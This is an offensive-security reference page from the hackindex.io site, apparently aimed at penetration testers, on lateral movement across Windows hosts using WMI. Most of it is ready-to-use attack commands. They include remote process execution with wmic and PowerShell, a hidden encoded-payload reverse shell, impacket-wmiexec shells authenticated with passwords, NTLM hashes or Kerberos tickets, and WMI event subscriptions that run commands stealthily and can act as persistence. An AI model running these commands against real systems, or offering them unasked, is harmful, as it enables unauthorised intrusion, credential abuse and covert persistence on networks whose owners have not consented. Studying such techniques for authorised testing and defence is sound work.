# WMI Remote Execution for Lateral Movement

> Leverages WMI to execute commands on remote Windows hosts for lateral movement, covering WMIC, PowerShell invoke methods, and evading common detections.

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/wmi-remote-execution
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Windows Management Instrumentation is built into every Windows version and can execute commands, create processes, and query system state on remote hosts. WMI-based lateral movement does not require SMB shares or service creation: it runs entirely over DCOM (port 135 and ephemeral high ports), making it harder to block than PsExec-style techniques.

## wmic: built-in command line

The `wmic` utility is available on all Windows systems and can execute commands remotely without any additional tools.

**Remote execution with wmic**

```powershell
# Execute a command on remote host
wmic /node:$TARGET_IP /user:$DOMAIN\$USER /password:$PASSWORD process call create "cmd.exe /c whoami > C:\Windows\Temp\out.txt"

# Read the output file after execution
type \\$TARGET_IP\C$\Windows\Temp\out.txt

# Start a reverse shell
wmic /node:$TARGET_IP /user:$DOMAIN\$USER /password:$PASSWORD process call create "powershell -nop -w hidden -e $ENCODED_PAYLOAD"
```

wmic runs the command asynchronously: it returns immediately and the command runs in the background. Output is not returned directly, so redirect it to a file and read it via SMB. For interactive sessions use impacket-wmiexec instead.

## PowerShell WMI remoting

**PowerShell Invoke-WmiMethod**

```powershell
# Execute command on remote host
$cred = New-Object System.Management.Automation.PSCredential($USER, (ConvertTo-SecureString $PASSWORD -AsPlainText -Force))
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\Windows\Temp\out.txt" -ComputerName $TARGET_IP -Credential $cred

# CIM method (modern equivalent: uses WSMAN or DCOM)
$session = New-CimSession -ComputerName $TARGET_IP -Credential $cred
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami > C:\Windows\Temp\out.txt"}

# Query running processes on remote host
Get-WmiObject -Class Win32_Process -ComputerName $TARGET_IP -Credential $cred | Select-Object Name, ProcessId, CommandLine
```

## Impacket wmiexec: interactive shell

impacket-wmiexec gives you an interactive shell over WMI from Linux. Commands run as the authenticated user. Each command creates a new process on the remote host rather than persisting a service, which makes it cleaner than psexec.

**impacket-wmiexec**

```bash
# Interactive shell with password
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# With NTLM hash
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Single command execution
impacket-wmiexec $DOMAIN/$USER:$PASSWORD@$TARGET_IP "ipconfig /all"

# Kerberos authentication with ticket
export KRB5CCNAME=ticket.ccache
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
# C:\>whoami
# domain\user
#
# C:\>
```

## WMI event subscription for execution

WMI event subscriptions run commands when a specific system event occurs. This technique leaves no scheduled task or service visible in standard tools and is commonly used for both execution and persistence. Supported trigger types:

- System startup or user logon events
- Timed intervals (e.g. every 60 seconds)
- Process creation or termination
- Registry key or value modifications

**WMI event subscription execution**

```powershell
# Create event filter (trigger every 60 seconds)
$filterArgs = @{
    Name = 'TimerTrigger'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs

# Create event consumer (what to run)
$consumerArgs = @{
    Name = 'RunPayload'
    CommandLineTemplate = 'cmd.exe /c whoami > C:\Windows\Temp\out.txt'
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments $consumerArgs

# Bind filter to consumer
$bindingArgs = @{Filter = $filter; Consumer = $consumer}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
```

**Clean up WMI event subscription**

```powershell
# Remove after use
Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'TimerTrigger'} | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq 'RunPayload'} | Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Remove-WmiObject
```

WMI event subscriptions that are not cleaned up become a persistence mechanism. Always remove them after the engagement unless persistence is the goal. For using WMI subscriptions as deliberate persistence see [Windows Registry Persistence](https://hackindex.io/platforms/windows/persistence/windows-registry-persistence). For lateral movement using WinRM instead of WMI see [WinRM and PowerShell Remoting](https://hackindex.io/platforms/windows/lateral-movement/winrm-and-powershell-remoting).
